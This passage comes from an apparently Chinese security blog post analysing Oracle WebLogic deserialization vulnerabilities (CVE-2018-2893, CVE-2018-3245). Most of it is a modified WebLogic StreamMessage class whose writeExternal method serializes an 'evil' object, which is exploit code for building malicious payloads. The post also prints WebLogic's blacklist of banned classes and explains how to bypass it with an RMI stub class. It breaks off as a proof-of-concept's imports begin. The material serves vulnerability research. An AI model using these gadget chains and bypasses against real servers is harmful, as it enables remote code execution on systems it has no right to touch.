= <span class="code-snippet__keyword">this</span>.payload.getInputStream();</span></code><code><span class="code-snippet_outer">                } <span class="code-snippet__keyword">catch</span> (IOException var2) {</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(<span class="code-snippet__keyword">this</span>.streamReadError(<span class="code-snippet__number">510</span>), var2);</span></code><code><span class="code-snippet_outer">                }</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> String <span class="code-snippet__title">toString</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__string">&#34;StreamMessage[&#34;</span> + <span class="code-snippet__keyword">this</span>.getJMSMessageID() + <span class="code-snippet__string">&#34;]&#34;</span>;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeExternal</span><span class="code-snippet__params">(ObjectOutput var1)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">super</span>.writeExternal(var1);</span></code><code><span class="code-snippet_outer">        ByteArrayOutputStream var2 = <span class="code-snippet__keyword">new</span> ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">        ObjectOutputStream var3 = <span class="code-snippet__keyword">new</span> ObjectOutputStream(var2);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        var3.writeObject(<span class="code-snippet__keyword">this</span>.evil);</span></code><code><span class="code-snippet_outer">        var3.flush();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span>[] var5 = var2.toByteArray();</span></code><code><span class="code-snippet_outer">        var1.writeByte(<span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer">        var1.writeInt(var5.length);</span></code><code><span class="code-snippet_outer">        var1.write(var5);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        int var3 = 2147483647;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        ObjectOutput var2;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        if (var1 instanceof JMSObjectOutputWrapper) {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            var3 = ((JMSObjectOutputWrapper)var1).getCompressionThreshold();</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            var2 = ((JMSObjectOutputWrapper)var1).getInnerObjectOutput();</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        } else {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            var2 = var1;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        byte var4;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        if (this.getVersion(var2) &gt;= 30) {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            var4 = (byte)(3 | (this.shouldCompress(var2, var3) ? -128 : 0));</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        } else {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            var4 = 2;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        var2.writeByte(var4);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        if (this.isCompressed()) {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            if (var4 == 2) {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                this.decompress().writeLengthAndData(var2);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            } else {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                this.flushCompressedMessageBody(var2);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        } else {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            Object var5;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            if (this.bos != null) {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                var5 = this.bos;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            } else {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                if (this.payload == null) {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                    var2.writeInt(0);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                    return;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                var5 = this.payload;</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            if ((var4 &amp; -128) != 0) {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                this.writeExternalCompressPayload(var2, (Payload)var5);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            } else {</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//                ((Payload)var5).writeLengthAndData(var2);</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//            }</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__comment">//        }</span></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">final</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">decompressMessageBody</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.isCompressed()) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.payload = (PayloadStream)<span class="code-snippet__keyword">this</span>.decompress();</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (IOException var6) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(JMSClientExceptionLogger.logErrorDecompressMessageBodyLoggable().getMessage(), var6);</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">finally</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.cleanupCompressedMessageBody();</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">readExternal</span><span class="code-snippet__params">(ObjectInput var1)</span> <span class="code-snippet__keyword">throws</span> IOException, ClassNotFoundException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">super</span>.readExternal(var1);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span> var2 = var1.readByte();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">byte</span> var3 = (<span class="code-snippet__keyword">byte</span>)(var2 &amp; <span class="code-snippet__number">127</span>);</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (var3 &gt;= <span class="code-snippet__number">1</span> &amp;&amp; var3 &lt;= <span class="code-snippet__number">3</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">switch</span>(var3) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">1</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);</span></code><code><span class="code-snippet_outer">                    BufferInputStream var4 = <span class="code-snippet__keyword">this</span>.payload.getInputStream();</span></code><code><span class="code-snippet_outer">                    ObjectInputStream var5 = <span class="code-snippet__keyword">new</span> ObjectInputStream(var4);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.setBodyWritable(<span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.setPropertiesWritable(<span class="code-snippet__keyword">true</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">while</span>(<span class="code-snippet__keyword">true</span>) {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">this</span>.writeObject(var5.readObject());</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (EOFException var9) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">this</span>.reset();</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">this</span>.setPropertiesWritable(<span class="code-snippet__keyword">false</span>);</span></code><code><span class="code-snippet_outer">                            PayloadStream var7 = <span class="code-snippet__keyword">this</span>.payload.copyPayloadWithoutSharedStream();</span></code><code><span class="code-snippet_outer">                            <span class="code-snippet__keyword">this</span>.payload = var7;</span></code><code><span class="code-snippet_outer">                        } <span class="code-snippet__keyword">catch</span> (JMSException var8) {</span></code><code><span class="code-snippet_outer">                            JMSClientExceptionLogger.logStackTrace(var8);</span></code><code><span class="code-snippet_outer">                        }</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (MessageNotWriteableException var10) {</span></code><code><span class="code-snippet_outer">                        JMSClientExceptionLogger.logStackTrace(var10);</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (javax.jms.MessageFormatException var11) {</span></code><code><span class="code-snippet_outer">                        JMSClientExceptionLogger.logStackTrace(var11);</span></code><code><span class="code-snippet_outer">                    } <span class="code-snippet__keyword">catch</span> (JMSException var12) {</span></code><code><span class="code-snippet_outer">                        JMSClientExceptionLogger.logStackTrace(var12);</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">3</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">if</span> ((var2 &amp; -<span class="code-snippet__number">128</span>) != <span class="code-snippet__number">0</span>) {</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">this</span>.readExternalCompressedMessageBody(var1);</span></code><code><span class="code-snippet_outer">                        <span class="code-snippet__keyword">break</span>;</span></code><code><span class="code-snippet_outer">                    }</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">case</span> <span class="code-snippet__number">2</span>:</span></code><code><span class="code-snippet_outer">                    <span class="code-snippet__keyword">this</span>.payload = (PayloadStream)PayloadFactoryImpl.createPayload((InputStream)var1);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> JMSUtilities.versionIOException(var3, <span class="code-snippet__number">1</span>, <span class="code-snippet__number">3</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">long</span> <span class="code-snippet__title">getPayloadSize</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.isCompressed()) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> (<span class="code-snippet__keyword">long</span>)<span class="code-snippet__keyword">this</span>.getCompressedMessageBodySize();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">super</span>.bodySize != -<span class="code-snippet__number">1L</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">super</span>.bodySize;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.payload != <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">super</span>.bodySize = (<span class="code-snippet__keyword">long</span>)<span class="code-snippet__keyword">this</span>.payload.getLength();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.bos != <span class="code-snippet__keyword">null</span> ? (<span class="code-snippet__keyword">long</span>)<span class="code-snippet__keyword">this</span>.bos.size() : (<span class="code-snippet__keyword">super</span>.bodySize = <span class="code-snippet__number">0L</span>);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> String <span class="code-snippet__title">typeCodeToString</span><span class="code-snippet__params">(<span class="code-snippet__keyword">int</span> var1)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> TYPE_CODE_STRINGS[var1];</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (Throwable var3) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> TYPE_CODE_STRINGS[<span class="code-snippet__number">0</span>];</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">writeStringInternal</span><span class="code-snippet__params">(String var1)</span> <span class="code-snippet__keyword">throws</span> IOException, JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (var1.length() &gt; <span class="code-snippet__number">20000</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.writeType((<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">10</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.bos.writeUTF32(var1);</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.writeType((<span class="code-snippet__keyword">byte</span>)<span class="code-snippet__number">9</span>);</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.bos.writeUTF(var1);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> String <span class="code-snippet__title">readStringInternal</span><span class="code-snippet__params">(<span class="code-snippet__keyword">byte</span> var1)</span> <span class="code-snippet__keyword">throws</span> IOException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> var1 == <span class="code-snippet__number">10</span> ? <span class="code-snippet__keyword">this</span>.bis.readUTF32() : <span class="code-snippet__keyword">this</span>.bis.readUTF();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">long</span> <span class="code-snippet__title">getLen</span><span class="code-snippet__params">()</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.bos != <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> (<span class="code-snippet__keyword">long</span>)<span class="code-snippet__keyword">this</span>.bos.size();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.payload != <span class="code-snippet__keyword">null</span> ? (<span class="code-snippet__keyword">long</span>)<span class="code-snippet__keyword">this</span>.payload.getLength() : <span class="code-snippet__number">0L</span>;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">long</span> <span class="code-snippet__title">getBodyLength</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">super</span>.readMode();</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.getLen();</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">byte</span>[] getBodyBytes() <span class="code-snippet__keyword">throws</span> JMSException {</span></code><code><span class="code-snippet_outer">        Object var1;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.payload != <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">            var1 = <span class="code-snippet__keyword">this</span>.payload;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.bos == <span class="code-snippet__keyword">null</span>) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">new</span> <span class="code-snippet__keyword">byte</span>[<span class="code-snippet__number">0</span>];</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            var1 = <span class="code-snippet__keyword">this</span>.bos;</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">            ByteArrayOutputStream var2 = <span class="code-snippet__keyword">new</span> ByteArrayOutputStream();</span></code><code><span class="code-snippet_outer">            ((Payload)var1).writeTo(var2);</span></code><code><span class="code-snippet_outer">            var2.flush();</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">return</span> var2.toByteArray();</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">catch</span> (IOException var3) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(var3);</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> PayloadStream <span class="code-snippet__title">getPayload</span><span class="code-snippet__params">()</span> <span class="code-snippet__keyword">throws</span> JMSException </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.isCompressed()) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.payload = (PayloadStream)<span class="code-snippet__keyword">this</span>.decompress();</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (IOException var2) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> weblogic.jms.common.JMSException(JMSClientExceptionLogger.logErrorDecompressMessageBodyLoggable().getMessage(), var2);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">return</span> <span class="code-snippet__keyword">this</span>.payload;</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">setPayload</span><span class="code-snippet__params">(PayloadStream var1)</span> </span>{</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">if</span> (<span class="code-snippet__keyword">this</span>.payload == <span class="code-snippet__keyword">null</span> &amp;&amp; <span class="code-snippet__keyword">this</span>.bis == <span class="code-snippet__keyword">null</span> &amp;&amp; <span class="code-snippet__keyword">this</span>.bos == <span class="code-snippet__keyword">null</span> &amp;&amp; !<span class="code-snippet__keyword">this</span>.copyOnWrite) {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">try</span> {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">this</span>.writeMode();</span></code><code><span class="code-snippet_outer">            } <span class="code-snippet__keyword">catch</span> (JMSException var3) {</span></code><code><span class="code-snippet_outer">                <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> AssertionError(var3);</span></code><code><span class="code-snippet_outer">            }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">this</span>.payload = var1;</span></code><code><span class="code-snippet_outer">        } <span class="code-snippet__keyword">else</span> {</span></code><code><span class="code-snippet_outer">            <span class="code-snippet__keyword">throw</span> <span class="code-snippet__keyword">new</span> AssertionError();</span></code><code><span class="code-snippet_outer">        }</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__function"><span class="code-snippet__keyword">public</span> <span class="code-snippet__keyword">void</span> <span class="code-snippet__title">setDataBuffer</span><span class="code-snippet__params">(<span class="code-snippet__keyword">byte</span>[] object, <span class="code-snippet__keyword">int</span> length)</span> </span>{</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><img class="rich_pages wxw-img" data-ratio="0.3453703703703704" style="width: 548px;height: 192px;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=3e309abb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUnH0I7MkRpDOa9vSVeccaTktBsH5BGYIjsBM9ZUntB85PI6jEMhGMUQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-weight: bold;font-size: 20px;color: rgb(0, 0, 0);">CVE-2018-2893</span></p><p><span style="color: rgb(0, 0, 0);">此CVE主要通过JDK7u21与8u20的原生反序列化链绕过之前黑名单中禁用的Common-collections库，就不赘述了。</span></p><p><span style="color: rgb(0, 0, 0);">同时黑名单进行了更新：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__built_in">String</span>[] DEFAULT_BLACKLIST_PACKAGES = { <span class="code-snippet__string">&#34;org.apache.commons.collections.functors&#34;</span>, <span class="code-snippet__string">&#34;com.sun.org.apache.xalan.internal.xsltc.trax&#34;</span>, <span class="code-snippet__string">&#34;javassist&#34;</span>, <span class="code-snippet__string">&#34;java.rmi.activation&#34;</span>, <span class="code-snippet__string">&#34;sun.rmi.server&#34;</span> };</span></code><code><span class="code-snippet_outer"> </span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">private</span> <span class="code-snippet__keyword">static</span> final <span class="code-snippet__built_in">String</span>[] DEFAULT_BLACKLIST_CLASSES = { <span class="code-snippet__string">&#34;org.codehaus.groovy.runtime.ConvertedClosure&#34;</span>, </span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;org.codehaus.groovy.runtime.ConversionHandler&#34;</span>, </span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;org.codehaus.groovy.runtime.MethodClosure&#34;</span>, <span class="code-snippet__string">&#34;org.springframework.transaction.support.AbstractPlatformTransactionManager&#34;</span>,</span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;java.rmi.server.UnicastRemoteObject&#34;</span>, </span></code><code><span class="code-snippet_outer"><span class="code-snippet__string">&#34;java.rmi.server.RemoteObjectInvocationHandler&#34;</span> };</span></code></pre></section><p><span style="color: rgb(0, 0, 0);">新增</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="css"><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.rmi</span><span class="code-snippet__selector-class">.activation</span>.*</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">sun</span><span class="code-snippet__selector-class">.rmi</span><span class="code-snippet__selector-class">.server</span>.*</span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.rmi</span><span class="code-snippet__selector-class">.server</span><span class="code-snippet__selector-class">.RemoteObjectInvocationHandler</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__selector-tag">java</span><span class="code-snippet__selector-class">.rmi</span><span class="code-snippet__selector-class">.server</span><span class="code-snippet__selector-class">.UnicastRemoteObject</span></span></code></pre></section><p><span style="font-weight: bold;font-size: 20px;color: rgb(0, 0, 0);"><br/></span></p><p><span style="font-weight: bold;font-size: 20px;color: rgb(0, 0, 0);">CVE-2018-3245</span></p><p><span style="color: rgb(0, 0, 0);">上文中有提到新增黑名单包名/类名：<span style="font-weight: bold;">java.rmi.activation.*,sun.rmi.server.*</span>,<span style="font-weight: bold;">java.rmi.server.RemoteObjectInvocationHandler</span>,<span style="font-weight: bold;">java.rmi.server.UnicastRemoteObject</span></span></p><p><span style="color: rgb(0, 0, 0);">但对我们完整的反序列化流程中真正有影响的只有<span style="background-color: rgb(255, 255, 255);font-family: Arial;">java.rmi.server.RemoteObjectInvocationHandler类的使用，若有一个类满足：</span></span></p><p><span style="background-color: rgb(255, 255, 255);font-family: Arial;color: rgb(0, 0, 0);">1.不在黑名单中</span></p><p><span style="background-color: rgb(255, 255, 255);font-family: Arial;color: rgb(0, 0, 0);">2.继承自java.rmi.server.RemoteObject</span></p><p><span style="background-color: rgb(255, 255, 255);font-family: Arial;color: rgb(0, 0, 0);">3.readObject逻辑未重写，或不影响readExtenal方法调用</span></p><p><span style="background-color: rgb(255, 255, 255);font-family: Arial;color: rgb(0, 0, 0);">即可绕过黑名单检测。</span></p><p><img class="rich_pages wxw-img" data-ratio="1.0719844357976653" style="width: 346px;height: 374px;" data-type="png" data-w="1028" src="https://wechat2rss.xlab.app/img-proxy/?k=8eff0228&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYOLztAD7Qr7C6bVxeukd6RXTeHv5koIUDOLhUkjFJ7KhJKTK9HiazHJpAEVHlicfaFCxB34wOKBq8Ogf07tP66pA%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="color: rgb(0, 0, 0);">随便找一个都行，比如RMIConnectionImpl_Stub</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="java"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> com.sun.jndi.rmi.registry.ReferenceWrapper_Stub;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sun.rmi.server.UnicastRef;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">import</span> sun.rmi.transport.LiveRef;</span></code><code><span class="code-snippet_outer"><span 